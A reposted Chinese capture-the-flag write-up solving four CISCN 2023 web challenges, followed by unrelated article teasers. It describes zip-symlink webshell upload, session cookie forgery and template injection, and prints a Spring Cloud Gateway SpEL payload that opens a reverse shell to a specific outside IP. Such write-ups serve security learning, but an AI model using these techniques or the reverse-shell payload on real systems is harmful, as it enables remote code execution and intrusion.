【Web】CTFSHOW-2023CISCN国赛初赛刷题记录(全)

目录

Unzip 

BackendService 

go_session 

deserbug 


主打一个精简

Unzip 

进来先是一个文件上传界面

右键查看源码,action=upload.php 

直接访问/upload.php,看到后端的源码

就是上传一个压缩包,对其进行解包处理

 因为其是在/tmp下执行的命令,所以可以用软链接来操作/var/www/html

先上传1.zip创建link目录软链接指向/var/www/html,再上传2.zip在/var/www/html目录下写马

命令执行即可 

BackendService 

参考文章:【Web】CVE-2022-22947 SpringCloud Gateway SpEL漏洞学习-CSDN博客

Nacos结合Spring Cloud Gateway RCE利用

NACOS漏洞问题及修复(CVE-2021-29441)_cve-2021-29441修复-CSDN博客

Nacos是一个开源的、易于使用的动态服务发现、配置管理和服务管理平台,用于构建云原生应用。它是阿里巴巴开源的项目之一,现已成为一个活跃的开源社区项目。Nacos旨在帮助您发现、配置和管理微服务。

Nacos支持几乎所有主流类型的“服务”的发现、配置和管理:包括Kubernetes服务、Docker服务、Spring Cloud RESTful服务等。

 先添加新用户

拿123/123成功登录

注意到附件jar包里的配置文件

添加新的配置项 

spring:cloud:gateway:routes:- id: examorder: 0uri: lb://service-providerpredicates:- Path=/echo/**filters:- name: AddResponseHeaderargs:name: resultvalue: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

内网后台bot访问/echo/123成功反弹shell 

go_session 

/路由下生成cookie

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

密钥为空,自己本地搭一次环境,把guest改为admin,访问/index.php,拿到cookie

MTcxMjUzNTQxOHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZaM1ZsYzNRPXwLWhvWxagb1aZ7sWcwrJ6pAXpccGHUriOY4Lk9HItK2A== 

/admin路由下存在pongo2的SSTI 

 

 /flask路由对内网中的flaskWeb服务发起请求,并返回结果

随意传参报错,发现Flask框架是热加载的,/app/server.py发生改变,程序也会更新,可以利用admin路由执行Go代码去覆盖掉/app/server.py实现rce
XssWaf会转义双引号,可以通过HandlerName配合过滤器和Referer绕过传参 

Context.HandlerName()在Admin()里,返回的就是main/route.Admin,配合过滤器last获取到最后一个字符串也就是文件名为n

成功写入/app/server.py

 

命令执行拿到flag 

deserbug 

【Web】记录CISCN2023国赛初赛DeserBug题目复现_deserbug ctf-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/600489.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++ | Leetcode C++题解之第16题最接近的三数之和

题目&#xff1a; 题解&#xff1a; class Solution { public:int threeSumClosest(vector<int>& nums, int target) {sort(nums.begin(), nums.end());int n nums.size();int best 1e7;// 根据差值的绝对值来更新答案auto update [&](int cur) {if (abs(cur…

Qt 中的项目文件解析和命名规范

&#x1f40c;博主主页&#xff1a;&#x1f40c;​倔强的大蜗牛&#x1f40c;​ &#x1f4da;专栏分类&#xff1a;QT❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 目录 一、Qt项目文件解析 1、.pro 文件解析 2、widget.h 文件解析 3、main.cpp 文件解析 4、widget.cpp…

Redis: 持久化

文章目录 一、RDB持久化1、概念2、生成、载入RDB文件3、执行时机&#xff08;1&#xff09; 执行save命令&#xff08;2&#xff09;执行bgsave命令&#xff08;3&#xff09;Redis停机时&#xff08;4&#xff09;触发RDB条件 4、bgsave原理5、小结 二、AOF持久化1、概念2、AO…

element vue 日期时间组件封装

一、背景 年、月、周、日的时间范围类型&#xff0c;选择对应的日期类型&#xff0c;会传参给后端一个dateType参数&#xff0c;用于后端判断&#xff0c;进行数据抽稀。 二、实现效果 三、代码 完整代码&#xff1a; //年月周日&#xff0c;组件封装 //vue3 setup <scrip…

JAVA毕业设计134—基于Java+Springboot+Vue的社区医院管理系统(源代码+数据库+万字论文)

毕设所有选题&#xff1a; https://blog.csdn.net/2303_76227485/article/details/131104075 基于JavaSpringbootVue的社区医院管理系统(源代码数据库万字论文)134 一、系统介绍 本项目前后端分离&#xff0c;分为管理员、用户、医生、前台四种角色 1、用户&#xff1a; 注…

边缘计算采集网关如何助力制造企业解决数采问题-天拓四方

一、企业背景 某大型制造企业&#xff0c;位于国内某经济发达的工业园区内&#xff0c;拥有多个生产线和智能化设备&#xff0c;致力于提高生产效率、降低运营成本。随着企业规模的扩大和生产自动化的推进&#xff0c;该企业面临着海量数据处理、实时响应和网络安全等多重挑战…

Prompt最佳实践|大模型也喜欢角色扮演?

在OpenAI的官方文档中已经提供了Prompt Enginerring的最佳实践&#xff0c;目的就是帮助用户更好的使用ChatGPT 编写优秀的提示词我一共总结了9个分类&#xff0c;本文讲解第2个分类&#xff1a;要求模型扮演角色 提供更多的细节要求模型扮演角色使用分隔符指定任务步骤提供样…

Java Web这一路走来

大部分Java应用都是Web或网络应用&#xff0c;MVC框架在Java框架中有着举足轻重的地位&#xff0c;一开始的Web应用并不现在这样子的&#xff0c;一步一步走来&#xff0c;每一步都经历了无数的血和泪的教训&#xff0c;以史为镜可以知兴替。 1. 草莽时代 早期的Java服务端技…

Cortex-M4架构

第一章 嵌入式系统概论 1.1 嵌入式系统概念 用于控制、监视或者辅助操作机器和设备的装置&#xff0c;是一种专用计算机系统。 更宽泛的定义&#xff1a;是在产品内部&#xff0c;具有特定功能的计算机系统。 1.2 嵌入式系统组成 硬件 ①处理器&#xff1a;CPU ②存储器…

学习:面向云备份提供商的 Solidigm 固态硬盘

SSD与HDD的区别 SSD和HDD之间的主要区别在于它们如何存储和传输数据。HDD有一个旋转盘片或磁盘&#xff0c;用于读取和写入数据。HDD的每GB初始价格通常低于SSD&#xff0c;这使其成为大型机构&#xff08;如金融机构、政府数据存储设施、高性能计算中心&#xff08;HPC&#…

lua学习笔记11(表的一些相关操作)

print("*****************************表的公共操作*******************************") --table.insert remove sort concat(表名&#xff0c;"分割标识") print("*****************************连接两个表*******************************") a{…

Java常用API_正则表达式_分组——捕获分组与非捕获分组介绍与练习

在正则表达式中&#xff0c;从左到右第一个左括号确定为第一组&#xff0c;继续往右看再有左括号它表示的组数就加一。我们可以在正则表达式中使用 \\组数 的方法表示第几组&#xff0c;如\\1表示第一组的内容。 1.捕获分组 捕获分组就是把这一组的数据捕获出来&#xff0c;后…